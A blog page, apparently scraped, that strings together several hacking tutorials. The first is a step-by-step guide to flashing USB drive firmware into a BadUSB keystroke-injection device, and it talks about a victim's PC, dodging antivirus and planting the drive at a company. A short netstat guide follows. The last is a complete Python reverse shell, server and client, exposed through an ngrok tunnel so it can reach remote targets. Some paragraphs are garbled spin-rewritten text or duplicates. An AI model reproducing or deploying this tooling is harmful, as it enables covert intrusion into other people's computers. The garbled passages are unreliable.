The “Duck Encoder” is a Java-based cross-platform tool which converts scripts into HID payloads. It is based upon the Bad-USB called “Rubber Ducky” by Hak5. You can download it here. (Do not forget to install Java.) I saved it at E:\Documents\Bad_USB\DuckEncoder\.

Creating Custom Firmware

At this point, all our preparations are done and we can continue using the tools. In this step, we simply have to go to our …\Psychson\firmware\ directory and run build.bat. If everything goes right, you will see a new folder with many different files inside. The fw.bin file is the file we will use in the following payload.

Writing a Script

You may ask yourself in which language we are going to write our script. Since the Duck Encoder is based upon “Rubber Ducky,” we will use “Duckyscript” as the language. The syntax is rather easy. More detailed instructions can be found here.

We will go ahead and create a .txt file in our preferred directory

(E:\Documents\Bad_USB\DuckEncoder\script.txt). I thought of showing you something more interesting than a “Hello World” script, so I made this one: As you may suppose, the Bad USB will “press” Windows + R and cause windows to shut down immediately with this script. In addition, you can clearly see that I wrote “/” instead of “-“. That’s because our “keyboard” (Bad USB) has a U.S. layout and Windows is set to DEU in my country. Keep in mind that we have to change the Windows layout to U.S. and write the script the way we would do usually, or the way your victim’s PC would write it. Don’t be confused of the input.

You can even use custom scripts and do some reverse engineering here.

Converting It into an HID Payload

It is time to start using the Windows terminal – cmd.

java -jar “PATH to \duckencode.jar” -i “PATH to \script.txt”-o “\payload.bin Path”

Example:

java -jar E:\Documents\BadUSB\DuckEncoder\duckencode.jar -i E:\Documents\Bad_USB\DuckEncoder\script.txt -o E:\Documents\Bad_USB\DuckEncoder\inject.bin

We won’t get any output, but inject.bin should be created in E:\Documents\Bad_USB\DuckEncoder\, in my instance.

Embed the Payload in the Firmware

Now we need to use the tools we built with Visual Studio. Obviously, EmbedPayload is to embed payloads. We simply have to execute it in cmd:

“Path to EmbedPayload.exe” “PATH to payload” “PATH to the firmware we built”

For me, it is:

E:\Documents\BadUSB\Psychson\tools\EmbedPayload.exe E:\Documents\Bad_USB\DuckEncoder\inject.bin E:\Documents\Bad_USB\Psychson\firmware\bin\fw.bin

Note that fw.bin includes the payload now. You can also overwrite the firmware by executing build.bat again.

Dumping the Current Firmware of the USB Flash Drive

I strongly advise you to make a copy of the current firmware on your USB flash drive in case you want to restore it. For any action we want to take on our USB, we have to use DriveCom, which is in our “tools” folder.

“PATH to DriveCom.exe” /drive=”Drive Letter of our USB” /action=DumpFirmware /burner=”PATH to our burner image” /firmware=”PATH of the output.bin”

In my instance:

E:\Documents\Bad_USB\Psychson-master\tools\DriveCom.exe /drive=F /action=DumpFirmware /burner=E:\Documents\Bad_USB\Firmware\BN03V117M.BIN /firmware=E:\Documents\Bad_USB\originalfw.bin

Flashing Firmware

Finally, we can hand over the very malicious shut-down payload embedded into the firmware to our USB flash drive:

“PATH to DriveCom.exe” /drive=”Drive Letter” /action=SendFirmware /burner=”PATH to our burner image” /firmware=”PATH to the firmware”

In my instance:

E:\Documents\BadUSB\Psychson\tools\DriveCom.exe /drive=F /action=SendFirmware /burner=E:\Documents\Bad_USB\Firmware\BN03V117M.BIN /firmware=E:\Documents\Bad_USB\Psychson\firmware\bin\fw.bin

A successful output should look like this:

Notice that DriveCom is switching the mode of our USB to boot mode automatically to flash the firmware. Now that our USB flash drive has become a keyboard, we cannot switch modes any more with our tools, nor access to the memory, but that is a minor problem. In the next section, I will focus how to resolve this issue.

Setting Our Device into “Boot Mode” Manually

If you want to take further actions to your Bad USB, you will notice that neither DriveCom nor Windows nor any other operating system can access it, because it is a keyboard after all. We need to open the case of our USB drive and connect two pins of the microcontroller while plugging the drive into our PC. Since the circle is on the top left corner of my controller (from this perspective), I have to connect the two pins of the left bottom side:

You may need to open the picture in a new tab and zoom in.

I usually use the edge of a USB connector to connect these two pins. In addition, a USB extension cable can be very useful in this scenario. It seems to be difficult, but you will get used to this. Use whatever you feel most comfortable with, without damaging your USB flash drive. If you do it correctly, the drive will show up in Windows again:

I for the most part utilize the edge of a USB connector to associate these two pins. Furthermore, a USB augmentation link can be exceptionally valuable in this situation. It is by all accounts troublesome, however you will get used to this. Utilize whatever you feel most good with, without harming your USB streak drive. In the event that you do it accurately, the drive will appear in Windows once more:

What’s more, we can change our drive or glimmer the first firmware once more. If not, your PC will close down—invest more energy next time.

Make Your Own USB Rubber Ducky: Notes

The Bad USB may not deal with each Windows PC, including mine, since it might be inept at stacking drivers.

Remember that you won’t have the capacity to get to the memory while your USB drive is faking a HID gadget.

Last Thoughts

The Bad USB is a capable instrument in the event that you have entry to your casualty’s PC, despite the fact that Windows can be poop at stacking the USB drivers. Moreover, it maintains a strategic distance from AV location since it is a console as opposed to an infection.

In case you’re thinking about to do a straightforward appearance to embed our USB into one PC at your preferred organization, please note to have a genuine USB streak drive for the case that you will undoubtedly get got, so you can escape effectively.

Besides, I might want to specify that I truly acknowledge useful criticism from you all. So don’t hesitate to PM me on the off chance that you discover any error or need me to enhance something!

May 9, 2021by shile_jayDIY

Find Your Open Ports in Order to Close Them in Windows/Mac/Linux

In this tutorial, we’re going to teach you how to keep your windows operating system secure. This method can be used in Windows, Linux or mac doesn’t matter because that tool is pre-installed.

Let’s get started! Open up you’re terminal or in windows open your CMD and type:

netstat -an

There are few parameters to netstat that are useful for this :

-l or –listening shows only the sockets currently listening for an incoming connection.
-a or –all shows all sockets currently in use.
-t or –TCP shows the TCP sockets.
-u or –UDP shows the UDP sockets.
-n or –numeric shows the hosts and ports as numbers, instead of resolving in DNS and looking in /etc/services.

You use a mix of these to get what you want. To know which port numbers are currently in use, use one of these:

netstat -atn # For tcp
netstat -aun # For udp
netstat -atun # For both

In the output all ports mentioned are in use either listening for incoming connection or connected to a peer** all others are closed. TCP and UDP ports are 16 bits wide (they go from 1-65535)

You can use this command:

netstat -tulnp | grep <port no>

If it shows some process it’s used. It’s closed (not used) if there is no output.

May 9, 2021by shile_jayDIY

A reverse shell with Python

Disclaimer: The described methods should only be used for systems which you have access rights. I used this method to get access to my other PC, which has screen issues. And yes, I’m 23, wearing a grey hat sue me! This tutorial was created for awareness purposes only.

Some basics

What is a reverse shell? With a reverse shell, the target makes the connection. On your client is run a server program, which listening for incoming connections. And the target execute a program, which connect to your client. Then you can run commands on the target from your client.

Python

We will write two small Python scripts one for the server and one for the client. The only modules we use are sockets and the subprocess. Make sure you have read the documentation. The programs are short and self-explanatory, nothing complicated just a little loop.

Server

import socket

HOST = '0.0.0.0'
PORT = 5555

# set up the socket so that it waits for an incoming connection
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)
print(f'[*] listening as {HOST}:{PORT}')

# waiting for the target and sent a welcome message if it connected
client_s, client_addr = s.accept()
print(f'[*] client connected {client_addr}')
client_s.send('welcome'.encode())

# this loop will run, until you enter 'quit'
while True:

    # 1. enter the command and send it to the target
    cmd = input('>>> ')
    client_s.send(cmd.encode())

    # check if you want to quit
    if cmd.lower() == 'quit':
        break

    # get the result of the command, executed on the target pc
    result = client_s.recv(1024).decode()
    print(result)

client_s.close()
s.close()

Client

import socket
import subprocess

HOST = '0.0.0.0'
PORT = 5555

# set up the socket and connect to the server
s = socket.socket()
s.connect((HOST, PORT))

# get the welcome message
msg = s.recv(1024).decode()
print('[*] server:', msg)

# this loop will run until it receive 'quit'
while True:

    # receive the command and print it
    cmd = s.recv(1024).decode()
    print(f'[*] receive {cmd}')

    # check if you want to quit
    if cmd.lower() == 'quit':
        break

    # now run the command and get the result.
    try:
        result = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)
    except Exception as e:
        result = str(e).encode()

    # if the command has no output, send 'ok' so the server knows everything is okay
    if len(result) == 0:
        result = 'OK'.encode()

    # send teh result to the server
    s.send(result)

s.close()

How to run

We only uses the Python Standard Library, so we don’t have to install anything. Simple execute

##on your machine
python3 server.py

and

##on the target machine
python3 client.py

The server run with HOST=0.0.0.0 so that it listen on all incoming connection. On some examples you read something like HOST=localhost or HOST=127.0.0.1. But then it’s only listen on connection from the localhost. You shouldn’t change the HOST of the server script. But if you run the client on another PC, you have to enter the IP address of the server for the HOST. You get a problem if the PC is not in your local network. Of course you can forward the port in your router and then specify your public IP as HOST. But I want to show you another way.

ngrok

ngrok is a reverse proxy that creates a secure tunnel from a public endpoint to a locally running web service. Simply put, with ngrok you can make any local service public. And we will make our server public. Go to ngrok sign up and follow the setup tutorial for your system. For me it’s

download wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip
unzip unzip ngrok-stable-linux-amd64.zip
connect your account ./ngrok authtoken 1WeW…
exposed the server ./ngrok tcp 5555

Now you are ready to run the client on any target, but you have to change the HOST and PORT to the values from ngrok. For my example that will be

...
HOST = '4.tcp.ngrok.io'
PORT = 12050
....

Conclusion

As you can see, it’s not that complicated to create your own reverse shell and make it public. I know, there’s a lot of space to improve this script. But for a really Simple example they are quite good enough.

Some malware travels by network

Your router protects you from the world

Windows firewall protects you from local machines

Your LAN and other machines

Other solutions

Don’t forget

Introduction

Documentation and Links

Enable ssh and ssh server on Windows 10

Using ssh on Windows 10

ssh from Windows 10 to Linux

ssh From Linux to Windows 10

ssh from Windows 10 to Windows 10

scp Secure Copy

Conclusions

Saving the user’s password in the database

Password verification at login

Hash type

Hash structure analysis

How to further improve password’s security

Also Read: 60 Best Rubber Ducky USB Payloads!

What you’ll need

Step 1: Writing the Payload

Initial delay

Open administrator command prompt

Obfuscate the command prompt

Download and execute the payload

Clearing your tracks

Step 2: Encoding the Payload

Step 3: Setting up the Web Server

Step 4: Deploying the Attack

Don’t Forget: Find Your Open Ports in Order to Close Them in Windows/Mac/Linux

How to Make Your Own USB Rubber Ducky Using a Normal USB?

Make Your Own USB Rubber Ducky

Burner Image

Download Duck Encoder

Creating Custom Firmware

Writing a Script

Converting It into an HID Payload

Embed the Payload in the Firmware

Dumping the Current Firmware of the USB Flash Drive

Flashing Firmware

Setting Our Device into “Boot Mode” Manually

Make Your Own USB Rubber Ducky: Notes

Last Thoughts

Some basics

Python

Server

Client

How to run

ngrok

Conclusion